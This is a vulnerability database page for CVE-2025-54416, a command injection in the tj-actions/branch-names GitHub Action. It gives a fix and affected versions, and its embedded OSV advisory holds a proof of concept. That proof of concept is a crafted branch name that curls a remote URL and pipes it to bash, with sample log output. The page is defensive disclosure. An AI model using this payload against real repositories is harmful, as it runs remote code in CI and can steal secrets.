CVE-2025-54416: Tj actions/branch names Tj-actions/branch-names Has A Command Injection Vulnerability
CRITICALCVE-2025-54416 is a CRITICAL (CVSS 9.1) tj-actions/branch-names has a command injection vulnerability (CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')) affecting Tj actions/branch names libraries in the GitHub Actions ecosystem. The issue involves tj-actions/branch-names has a command injection vulnerability. Remediation is available by upgrading affected packages to version 9.0.0.
CVE-2025-54416 at a Glance
Security Impact
CVSS: 9.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L).
How to Fix CVE-2025-54416
To remediate this vulnerability, upgrade all affected Tj actions/branch names dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade tj-actions/branch-names to 9.0.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for tj-actions/branch-names
How to Check if You Are Affected
To determine whether your application is affected by CVE-2025-54416, inspect your project dependencies for Tj actions/branch names:
inspect dependencies for tj-actions/branch-names
Analyze the terminal output to locate any version of Tj actions/branch names in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 9.0.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection'), where the product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. In Tj actions/branch names, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-54416 Affected Tj actions/branch names Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
tj-actions/branch-names
|
GitHub Actions |
< 9.0.0
|
9.0.0
|
References
Frequently Asked Questions
What is CVE-2025-54416?
Which Tj actions/branch names versions are affected?
What version fixes CVE-2025-54416?
Is tj-actions/branch-names affected?
What is the CVSS score of CVE-2025-54416?
What CWE is associated with CVE-2025-54416?
How can I check GitHub Actions dependencies for CVE-2025-54416?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-gq52-6phf-x2r6",
"modified" : "2025-07-28T13:00:31Z",
"published" : "2025-07-25T19:28:22Z",
"aliases" : [ "CVE-2025-54416" ],
"summary" : "tj-actions/branch-names has a Command Injection Vulnerability",
"details" : "#### **Overview**\n\nA critical vulnerability has been identified in the `tj-actions/branch-names` GitHub Action workflow which allows arbitrary command execution in downstream workflows. This issue arises due to inconsistent input sanitization and unescaped output, enabling malicious actors to exploit specially crafted branch names or tags. While internal sanitization mechanisms have been implemented, the action outputs remain vulnerable, exposing consuming workflows to significant security risks.\n\n#### **Technical Details**\n\nThe vulnerability stems from the unsafe use of the `eval printf \"%s\"` pattern within the action's codebase. Although initial sanitization using `printf \"%q\"` properly escapes untrusted input, subsequent unescaping via `eval printf \"%s\"` reintroduces command injection risks. This unsafe pattern is demonstrated in the following code snippet:\n\n```bash\necho \"base_ref_branch=$(eval printf \"%s\" \"$BASE_REF\")\" >> \"$GITHUB_OUTPUT\"\necho \"head_ref_branch=$(eval printf \"%s\" \"$HEAD_REF\")\" >> \"$GITHUB_OUTPUT\"\necho \"ref_branch=$(eval printf \"%s\" \"$REF_BRANCH\")\" >> \"$GITHUB_OUTPUT\"\n```\n\nThis approach allows attackers to inject arbitrary commands into workflows consuming these outputs, as shown in the Proof-of-Concept (PoC) below.\n\n#### **Proof-of-Concept (PoC)**\n\n1. Create a branch with the name `$(curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)`.\n2. Trigger the vulnerable workflow by opening a pull request into the target repository.\n3. Observe arbitrary code execution in the workflow logs.\n\nExample output:\n```bash\nRunning on a pull request branch.\nRun echo \"Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)\"\n echo \"Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)\"\n shell: /usr/bin/bash -e {0}\nRunning on pr: === PoC script executed successfully ===\nRunner user: runner\n```\n\n#### **Impact**\n\nThis vulnerability enables arbitrary command execution in repositories consuming outputs from `tj-actions/branch-names`. The severity of the impact depends on the permissions granted to the `GITHUB_TOKEN` and the context of the triggering event. Potential consequences include:\n\n- Theft of sensitive secrets stored in the repository.\n- Unauthorized write access to the repository.\n- Compromise of the repository's integrity and security.\n\n#### **Mitigation and Resolution**\n\nTo address this vulnerability, the unsafe `eval printf \"%s\"` pattern must be replaced with safer alternatives. Specifically, direct `printf` calls can achieve the same functionality without unescaping shell-unsafe characters. Below is the recommended fix:\n\n```bash\nprintf \"base_ref_branch=%s\\n\" \"$BASE_REF\" >> \"$GITHUB_OUTPUT\"\nprintf \"head_ref_branch=%s\\n\" \"$HEAD_REF\" >> \"$GITHUB_OUTPUT\"\nprintf \"ref_branch=%s\\n\" \"$REF_BRANCH\" >> \"$GITHUB_OUTPUT\"\nprintf \"tag=%s\\n\" \"$TAG\" >> \"$GITHUB_OUTPUT\"\n```\n\nThis approach ensures that all outputs remain properly escaped and safe for downstream consumption.\n\n#### **Recommendations**\n\n1. **Immediate Action**: Developers using the `tj-actions/branch-names` workflow should update their workflows to latest major version [v9](https://github.com/tj-actions/branch-names/releases/tag/v9.0.0).\n\n#### **References**\n- [GitHub Actions Security Guide](https://securitylab.github.com/resources/github-actions-untrusted-input/)\n- [How to Secure GitHub Actions Workflows](https://github.blog/security/application-security/how-to-secure-your-github-actions-workflows-with-codeql/)\n- [Related Vulnerability: GHSA-mcph-m25j-8j63](https://github.com/tj-actions/changed-files/security/advisories/GHSA-mcph-m25j-8j63)\n- [Template Injection Advisory: GHSA-8v8w-v8xg-79rf](https://github.com/tj-actions/branch-names/security/advisories/GHSA-8v8w-v8xg-79rf)",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "GitHub Actions",
"name" : "tj-actions/branch-names"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "9.0.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 8.2.1"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/tj-actions/branch-names/security/advisories/GHSA-8v8w-v8xg-79rf"
}, {
"type" : "WEB",
"url" : "https://github.com/tj-actions/branch-names/security/advisories/GHSA-gq52-6phf-x2r6"
}, {
"type" : "WEB",
"url" : "https://github.com/tj-actions/changed-files/security/advisories/GHSA-mcph-m25j-8j63"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-54416"
}, {
"type" : "WEB",
"url" : "https://github.com/tj-actions/branch-names/commit/e497ceb8ccd43fd9573cf2e375216625bc411d1f"
}, {
"type" : "WEB",
"url" : "https://github.blog/security/application-security/how-to-secure-your-github-actions-workflows-with-codeql"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/tj-actions/branch-names"
}, {
"type" : "WEB",
"url" : "https://github.com/tj-actions/branch-names/releases/tag/v9.0.0"
}, {
"type" : "WEB",
"url" : "https://securitylab.github.com/resources/github-actions-untrusted-input"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-77" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2025-07-25T19:28:22Z",
"nvd_published_at" : "2025-07-26T04:16:10Z"
}
}